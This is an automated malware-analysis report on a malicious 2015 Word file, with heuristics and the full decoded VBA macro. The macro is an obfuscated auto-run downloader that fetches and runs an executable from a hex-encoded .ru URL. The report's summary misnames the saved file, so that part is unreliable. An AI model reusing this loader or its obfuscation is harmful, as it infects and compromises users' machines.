Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24520902dd5f51a7…

MALICIOUS

Office (OLE)

49.5 KB Created: 2015-01-19 13:37:00 Authoring application: Microsoft Office Word First seen: 2015-02-17
MD5: d3d1de7abc8f32e631488a2d0884fd4d SHA-1: 696de698312b3756ae525cc7449df65434fd35b5 SHA-256: 24520902dd5f51a74a64dcff26a16b38b2ad7a4921ef2658708eb81069ae2a85
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains an auto-executing VBA macro (autoopen) that is heavily obfuscated. The macro utilizes CreateObject to interact with the file system and network, consistent with downloading and executing a second-stage payload. Specifically, it attempts to download a file from 'the embedded link' and save it as 'Shell.Application.exe' or similar, which is then likely executed.

Heuristics 8

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .Write objHTTP.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set fso = CreateObject(wffREgBOdKcN(TFR6Ak8agqy))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set fso = CreateObject(wffREgBOdKcN(TFR6Ak8agqy))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12882 bytes
SHA-256: ef9fec26913914fabac1dc522526bb495727146b97bfc58260e005871f034c35
Detection
ClamAV: No threats found
Obfuscation or payload: likely
86 of 152 identifiers look randomly generated (e.g. 'goBdxcAReSPJcZgqwsEUVrtCa') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Const gqn = "5368656C6C2E4170706C69636174696F6E"
Private Const LZQ5OdSue = "41444F44422E53747265616D"
Private Const pYwu6O = "536372697074696E672E46696C6553797374656D4F626A656374"
Private Const VhByjMvt = "474554"
Private Const XsC1C = "4D53584D4C322E584D4C48545450"
Private Const PVmtMiQoW = "5C64734848482E657865"
Private Const IueTSIJ = "687474703A2F2F7374726F7967702E72752F6A732F62696E2E657865"
Private Const TFR6Ak8agqy = pYwu6O

Sub autoopen()

Dim FffFObD As Integer
FffFObD = 117
Do While FffFObD < 117 + 10
FffFObD = FffFObD + 1: DoEvents
Loop
Dim PkbRf As Integer
PkbRf = 1477
Do While PkbRf < 1477 + 10
PkbRf = PkbRf + 1: DoEvents
Loop
Dim fso, tempfile
Dim EvUkdMuxR As Integer
EvUkdMuxR = 1637
Do While EvUkdMuxR < 1637 + 10
EvUkdMuxR = EvUkdMuxR + 1: DoEvents
Loop
Dim JCJoOAQUQOoQ As Integer
JCJoOAQUQOoQ = 1954
Do While JCJoOAQUQOoQ < 1954 + 10
JCJoOAQUQOoQ = JCJoOAQUQOoQ + 1: DoEvents
Loop
Set fso = CreateObject(wffREgBOdKcN(TFR6Ak8agqy))
Dim dkrUihxBE As Integer
dkrUihxBE = 1732
Do While dkrUihxBE < 1732 + 10
dkrUihxBE = dkrUihxBE + 1: DoEvents
Loop
Dim VTZJCJoOAQUQ As Integer
VTZJCJoOAQUQ = 1224
Do While VTZJCJoOAQUQ < 1224 + 10
VTZJCJoOAQUQ = VTZJCJoOAQUQ + 1: DoEvents
Loop

Dim kdMuxRuyMIrFfFObD As Integer
kdMuxRuyMIrFfFObD = 117
Do While kdMuxRuyMIrFfFObD < 117 + 10
kdMuxRuyMIrFfFObD = kdMuxRuyMIrFfFObD + 1: DoEvents
Loop
Dim RQhlnfETL As Integer
RQhlnfETL = 54
Do While RQhlnfETL < 54 + 10
RQhlnfETL = RQhlnfETL + 1: DoEvents
Loop
Dim tfolder, tname, tfile
Dim vQfrTnSq As Integer
vQfrTnSq = 148
Do While vQfrTnSq < 148 + 10
vQfrTnSq = vQfrTnSq + 1: DoEvents
Loop
Dim wGbpcOLKnTlYc As Integer
wGbpcOLKnTlYc = 1193
Do While wGbpcOLKnTlYc < 1193 + 10
wGbpcOLKnTlYc = wGbpcOLKnTlYc + 1: DoEvents
Loop
Const TemporaryFolder = 2
Dim jsQxbqdwEuaUVTZJCJ As Integer
jsQxbqdwEuaUVTZJCJ = 1572
Do While jsQxbqdwEuaUVTZJCJ < 1572 + 10
jsQxbqdwEuaUVTZJCJ = jsQxbqdwEuaUVTZJCJ + 1: DoEvents
Loop
Dim BEvUkdMu As Integer
BEvUkdMu = 433
Do While BEvUkdMu < 433 + 10
BEvUkdMu = BEvUkdMu + 1: DoEvents
Loop
Set tfolder = fso.GetSpecialFolder(TemporaryFolder)
Dim CZxDz As Integer
CZxDz = 2081
Do While CZxDz < 2081 + 10
CZxDz = CZxDz + 1: DoEvents
Loop
Dim ItAHYyyND As Integer
ItAHYyyND = 53
Do While ItAHYyyND < 53 + 10
ItAHYyyND = ItAHYyyND + 1: DoEvents
Loop
strLink = wffREgBOdKcN(IueTSIJ)
Dim ffFObDQCa As Integer
ffFObDQCa = 2394
Do While ffFObDQCa < 2394 + 10
ffFObDQCa = ffFObDQCa + 1: DoEvents
Loop
Dim nseQeIU As Integer
nseQeIU = 1205
Do While nseQeIU < 1205 + 10
nseQeIU = nseQeIU + 1: DoEvents
Loop

Dim MUVfDybd As Integer
MUVfDybd = 1206
Do While MUVfDybd < 1206 + 10
MUVfDybd = MUVfDybd + 1: DoEvents
Loop
Dim NQgBCMVQu As Integer
NQgBCMVQu = 1395
Do While NQgBCMVQu < 1395 + 10
NQgBCMVQu = NQgBCMVQu + 1: DoEvents
Loop
strSaveTo = tfolder & wffREgBOdKcN(PVmtMiQoW)
Dim MHIGLw As Integer
MHIGLw = 129
Do While MHIGLw < 129 + 10
MHIGLw = MHIGLw + 1: DoEvents
Loop
Dim pnseQeI As Integer
pnseQeI = 732
Do While pnseQeI < 732 + 10
pnseQeI = pnseQeI + 1: DoEvents
Loop

Dim wDKbCBRHJB As Integer
wDKbCBRHJB = 2281
Do While wDKbCBRHJB < 2281 + 10
wDKbCBRHJB = wDKbCBRHJB + 1: DoEvents
Loop
Dim riHQPzh As Integer
riHQPzh = 1743
Do While riHQPzh < 1743 + 10
riHQPzh = riHQPzh + 1: DoEvents
Loop

Dim dYZQcMGNSDTYaRr As Integer
dYZQcMGNSDTYaRr = 794
Do While dYZQcMGNSDTYaRr < 794 + 10
dYZQcMGNSDTYaRr = dYZQcMGNSDTYaRr + 1: DoEvents
Loop
Dim lAEHzY As Integer
lAEHzY = 1302
Do While lAEHzY < 1302 + 10
lAEHzY = lAEHzY + 1: DoEvents
Loop
Set objHTTP = CreateObject(wffREgBOdKcN(XsC1C))
Dim xdYZQcMGNr As Integer
xdYZQcMGNr = 478
Do While xdYZQcMGNr < 478 + 10
xdYZQcMGNr = xdYZQcMGNr + 1: DoEvents
Loop
Dim vIiiJReGaFvUvGA As Integer
vIiiJReGaFvUvGA = 2094
Do While vIiiJReGaFvUvGA < 2094 + 10
vIiiJReGaFvUvGA = vIiiJReGaFvUvGA + 1: DoEvents
Loop

Dim ffejTMTyLKbe As Integer
ffejTMTyLKbe = 2455
Do While ffejTMTyLKbe < 2455 + 10
ffejTMTyLKbe = ffejTMTyLKbe + 1: DoEvents
Loop
Dim ARsrHxAs As Integer
ARsrHxAs = 112
Do While ARsrHxAs < 112 + 10
ARsrHxAs = ARsrHxAs + 1: DoEvents
Loop

Dim ehZxM As Integer
ehZxM = 586
Do While ehZxM < 586 + 10
ehZxM = ehZxM + 1: DoEvents
Loop
Dim wBntARsr As Integer
wBntARsr = 2108
Do While wBntARsr < 2108 + 10
wBntARsr = wBntARsr + 1: DoEvents
Loop
objHTTP.Open wffREgBOdKcN(VhByjMvt), strLink, False
Dim GAqVffe As Integer
GAqVffe = 271
Do While GAqVffe < 271 + 10
GAqVffe = GAqVffe + 1: DoEvents
Loop
Dim hQCxy As Integer
hQCxy = 1314
Do While hQCxy < 1314 + 10
hQCxy = hQCxy + 1: DoEvents
Loop
objHTTP.send
Dim ejTMT As Integer
ejTMT = 1220
Do While ejTMT < 1220 + 10
ejTMT = ejTMT + 1: DoEvents
Loop
Dim YlMhLkBNCzt As Integer
YlMhLkBNCzt = 1662
Do While YlMhLkBNCzt < 1662 + 10
YlMhLkBNCzt = YlMhLkBNCzt + 1: DoEvents
Loop
 
Dim jQiTYyZkew As Integer
jQiTYyZkew = 791
Do While jQiTYyZkew < 791 + 10
jQiTYyZkew = jQiTYyZkew + 1: DoEvents
Loop
Dim EErsScoQkOnF As Integer
EErsScoQkOnF = 159
Do While EErsScoQkOnF < 159 + 10
EErsScoQkOnF = EErsScoQkOnF + 1: DoEvents
Loop
Set objFSO = CreateObject(wffREgBOdKcN(TFR6Ak8agqy))
Dim iTYyZkewtPl As Integer
iTYyZkewtPl = 2055
Do While iTYyZkewtPl < 2055 + 10
iTYyZkewtPl = iTYyZkewtPl + 1: DoEvents
Loop
Dim rsScoQkOn As Integer
rsScoQkOn = 1106
Do While rsScoQkOn < 1106 + 10
rsScoQkOn = rsScoQkOn + 1: DoEvents
Loop
If objFSO.FileExists(strSaveTo) Then
Dim sCYlZ As Integer
sCYlZ = 1582
Do While sCYlZ < 1582 + 10
sCYlZ = sCYlZ + 1: DoEvents
Loop
Dim xcaHwQGxLVEE As Integer
xcaHwQGxLVEE = 1296
Do While xcaHwQGxLVEE < 1296 + 10
xcaHwQGxLVEE = xcaHwQGxLVEE + 1: DoEvents
Loop
  objFSO.DeleteFile (strSaveTo)
Dim LyIgbEG As Integer
LyIgbEG = 346
Do While LyIgbEG < 346 + 10
LyIgbEG = LyIgbEG + 1: DoEvents
Loop
Dim FCZITaV As Integer
FCZITaV = 593
Do While FCZITaV < 593 + 10
FCZITaV = FCZITaV + 1: DoEvents
Loop
End If
Dim oOaTmjFcAso As Integer
oOaTmjFcAso = 85
Do While oOaTmjFcAso < 85 + 10
oOaTmjFcAso = oOaTmjFcAso + 1: DoEvents
Loop
Dim FevHv As Integer
FevHv = 719
Do While FevHv < 719 + 10
FevHv = FevHv + 1: DoEvents
Loop

Dim yxaHZ As Integer
yxaHZ = 1763
Do While yxaHZ < 1763 + 10
yxaHZ = yxaHZ + 1: DoEvents
Loop
Dim evHvtnFCZ As Integer
evHvtnFCZ = 1446
Do While evHvtnFCZ < 1446 + 10
evHvtnFCZ = evHvtnFCZ + 1: DoEvents
Loop
If objHTTP.Status = 200 Then
Dim vUUwEQ As Integer
vUUwEQ = 1839
Do While vUUwEQ < 1839 + 10
vUUwEQ = vUUwEQ + 1: DoEvents
Loop
Dim FrGKN As Integer
FrGKN = 1555
Do While FrGKN < 1555 + 10
FrGKN = FrGKN + 1: DoEvents
Loop
  Dim objStream
Dim UxzgA As Integer
UxzgA = 1082
Do While UxzgA < 1082 + 10
UxzgA = UxzgA + 1: DoEvents
Loop
Dim ZkBCY As Integer
ZkBCY = 542
Do While ZkBCY < 542 + 10
ZkBCY = ZkBCY + 1: DoEvents
Loop
  Set objStream = CreateObject(wffREgBOdKcN(LZQ5OdSue))
Dim dQpmJfDvsDUEsBaUx As Integer
dQpmJfDvsDUEsBaUx = 416
Do While dQpmJfDvsDUEsBaUx < 416 + 10
dQpmJfDvsDUEsBaUx = dQpmJfDvsDUEsBaUx + 1: DoEvents
Loop
Dim TmukPKLJOAt As Integer
TmukPKLJOAt = 1016
Do While TmukPKLJOAt < 1016 + 10
TmukPKLJOAt = TmukPKLJOAt + 1: DoEvents
Loop
  With objStream
Dim kcBQIt As Integer
kcBQIt = 376
Do While kcBQIt < 376 + 10
kcBQIt = kcBQIt + 1: DoEvents
Loop
Dim MSObrsNPZ As Integer
MSObrsNPZ = 1769
Do While MSObrsNPZ < 1769 + 10
MSObrsNPZ = MSObrsNPZ + 1: DoEvents
Loop
    .Type = 1
Dim UIuVsrSARD As Integer
UIuVsrSARD = 1295
Do While UIuVsrSARD < 1295 + 10
UIuVsrSARD = UIuVsrSARD + 1: DoEvents
Loop
Dim LJrgAr As Integer
LJrgAr = 1642
Do While LJrgAr < 1642 + 10
LJrgAr = LJrgAr + 1: DoEvents
Loop
    .Open
Dim NRTLlzsd As Integer
NRTLlzsd = 122
Do While NRTLlzsd < 122 + 10
NRTLlzsd = NRTLlzsd + 1: DoEvents
Loop
Dim GkOMuj As Integer
GkOMuj = 2287
Do While GkOMuj < 2287 + 10
GkOMuj = GkOMuj + 1: DoEvents
Loop
    .Write objHTTP.responseBody
Dim QUQOoDvgN As Integer
QUQOoDvgN = 2381
Do While QUQOoDvgN < 2381 + 10
QUQOoDvgN = QUQOoDvgN + 1: DoEvents
Loop
Dim jeHJqwPYNt As Integer
jeHJqwPYNt = 1339
Do While jeHJqwPYNt < 1339 + 10
jeHJqwPYNt = jeHJqwPYNt + 1: DoEvents
Loop
    .SaveToFile strSaveTo
Dim mjuxMi As Integer
mjuxMi = 168
Do While mjuxMi < 168 + 10
mjuxMi = mjuxMi + 1: DoEvents
Loop
Dim nFNDje As Integer
nFNDje = 2247
Do While nFNDje < 2247 + 10
nFNDje = nFNDje + 1: DoEvents
Loop
    .Close
Dim dyQdZloCY As Integer
dyQdZloCY = 476
Do While dyQdZloCY < 476 + 10
dyQdZloCY = dyQdZloCY + 1: DoEvents
Loop
Dim jRfEEg As Integer
jRfEEg = 1046
Do While jRfEEg < 1046 + 10
jRfEEg = jRfEEg + 1: DoEvents
Loop
  End With
Dim BqKArFPyy As Integer
BqKArFPyy = 602
Do While BqKArFPyy < 602 + 10
BqKArFPyy = BqKArFPyy + 1: DoEvents
Loop
Dim uQcpm As Integer
uQcpm = 1279
Do While uQcpm < 1279 + 10
uQcpm = uQcpm + 1: DoEvents
Loop
  Set objStream = Nothing
Dim AGaiQCyyxCng As Integer
AGaiQCyyxCng = 2260
Do While AGaiQCyyxCng < 2260 + 10
AGaiQCyyxCng = AGaiQCyyxCng + 1: DoEvents
Loop
Dim QsfpMHlnSn As Integer
QsfpMHlnSn = 2326
Do While QsfpMHlnSn < 2326 + 10
QsfpMHlnSn = QsfpMHlnSn + 1: DoEvents
Loop
End If
Dim JPLYopKMtbDTAGaiQCyy As Integer
JPLYopKMtbDTAGaiQCyy = 1249
Do While JPLYopKMtbDTAGaiQCyy < 1249 + 10
JPLYopKMtbDTAGaiQCyy = JPLYopKMtbDTAGaiQCyy + 1: DoEvents
Loop
Dim wRqjf As Integer
wRqjf = 393
Do While wRqjf < 393 + 10
wRqjf = wRqjf + 1: DoEvents
Loop

Dim fgBDMkRvKrx As Integer
fgBDMkRvKrx = 2017
Do While fgBDMkRvKrx < 2017 + 10
fgBDMkRvKrx = fgBDMkRvKrx + 1: DoEvents
Loop
Dim oFrvVwHBTQ As Integer
oFrvVwHBTQ = 436
Do While oFrvVwHBTQ < 436 + 10
oFrvVwHBTQ = oFrvVwHBTQ + 1: DoEvents
Loop
If objFSO.FileExists(strSaveTo) Then
Dim zLoHnKddaTmkGq As Integer
zLoHnKddaTmkGq = 879
Do While zLoHnKddaTmkGq < 879 + 10
zLoHnKddaTmkGq = zLoHnKddaTmkGq + 1: DoEvents
Loop
Dim IvzZzKE As Integer
IvzZzKE = 1113
Do While IvzZzKE < 1113 + 10
IvzZzKE = IvzZzKE + 1: DoEvents
Loop

Dim iZmwgfS As Integer
iZmwgfS = 953
Do While iZmwgfS < 953 + 10
iZmwgfS = iZmwgfS + 1: DoEvents
Loop
Dim QkfTzIJH As Integer
QkfTzIJH = 1714
Do While QkfTzIJH < 1714 + 10
QkfTzIJH = QkfTzIJH + 1: DoEvents
Loop
End If
Dim DLBhcd As Integer
DLBhcd = 257
Do While DLBhcd < 257 + 10
DLBhcd = DLBhcd + 1: DoEvents
Loop
Dim kRjUZynkewtQ As Integer
kRjUZynkewtQ = 1579
Do While kRjUZynkewtQ < 1579 + 10
kRjUZynkewtQ = kRjUZynkewtQ + 1: DoEvents
Loop
 Set GBIviviu67FUGBK = CreateObject(wffREgBOdKcN(gqn))
Dim LdMjSekgrIQ As Integer
LdMjSekgrIQ = 2213
Do While LdMjSekgrIQ < 2213 + 10
LdMjSekgrIQ = LdMjSekgrIQ + 1: DoEvents
Loop
Dim QmKQMZcq As Integer
QmKQMZcq = 1705
Do While QmKQMZcq < 1705 + 10
QmKQMZcq = QmKQMZcq + 1: DoEvents
Loop
GBIviviu67FUGBK.Open strSaveTo
Dim TcpQkPo As Integer
TcpQkPo = 1040
Do While TcpQkPo < 1040 + 10
TcpQkPo = TcpQkPo + 1: DoEvents
Loop
Dim GppdOqMZ As Integer
GppdOqMZ = 2227
Do While GppdOqMZ < 2227 + 10
GppdOqMZ = GppdOqMZ + 1: DoEvents
Loop
End Sub


Public Function wffREgBOdKcN(ByVal lNPwQVeT As String) As String
GoTo yZyJDVF
yZyJDVF:
GoTo agcnETbcmJEikQQqy
agcnETbcmJEikQQqy:
GoTo OOMRDJQiIHYNQIhKpnU
OOMRDJQiIHYNQIhKpnU:
GoTo TKZjRR
TKZjRR:
GoTo goBdxcAReSPJcZ
goBdxcAReSPJcZ:
Dim IIHMjqxcpo As String
GoTo wsEUVrtCaG
wsEUVrtCaG:
Dim HKCbqjSBDYA As String
GoTo nGODjff
nGODjff:
GoTo TMTyZKb
TMTyZKb:
GoTo ZxbFpla
ZxbFpla:
GoTo bpziiUHj
bpziiUHj:
Dim SPyLllMUhJd As Long
GoTo NfQUujg
NfQUujg:
GoTo pMiGMIUYmH
pMiGMIUYmH:
GoTo dYAQjDQQGmvvuzkdkO
dYAQjDQQGmvvuzkdkO:
GoTo ruxpN
ruxpN:
GoTo FoqKnsFPlymYzVUwevh
FoqKnsFPlymYzVUwevh:
GoTo lwqIFdyQPLQoCYLV
lwqIFdyQPLQoCYLV:
For SPyLllMUhJd = 1 To Len(lNPwQVeT) Step 2
GoTo SzTZhQCLLKPntAfsrH
SzTZhQCLLKPntAfsrH:
GoTo FetmQEGbDIVSBOooP
FetmQEGbDIVSBOooP:
IIHMjqxcpo = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(lNPwQVeT, SPyLllMUhJd, 2)))
GoTo hLkBcCNHaIfOagcnE
hLkBcCNHaIfOagcnE:
GoTo cmJEi
cmJEi:
HKCbqjSBDYA = HKCbqjSBDYA & IIHMjqxcpo
GoTo qynSOOMRDJQiIHYNQIhK
qynSOOMRDJQiIHYNQIhK:
GoTo UJeTKZjRR
UJeTKZjRR:
GoTo goBdxcAReSPJcZgqwsEUVrtCa
goBdxcAReSPJcZgqwsEUVrtCa:
GoTo AhnGODjf
AhnGODjf:
GoTo iTMTyZ
iTMTyZ:
GoTo ehZxb
ehZxb:
Next SPyLllMUhJd
GoTo aukbpzii
aukbpzii:
GoTo jFRgNfQUujgaspM
jFRgNfQUujgaspM:
GoTo MIUYmHJSdYAQjDQ
MIUYmHJSdYAQjDQ:
wffREgBOdKcN = HKCbqjSBDYA
GoTo vvuzkdkO
vvuzkdkO:
GoTo ruxpNVFoqKn
ruxpNVFoqKn:
GoTo PlymYzVUwevhlL
PlymYzVUwevhlL:
GoTo qIFdyQPLQoCY
qIFdyQPLQoCY:
GoTo toRSzTZhQCLLKPntAfs
toRSzTZhQCLLKPntAfs:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.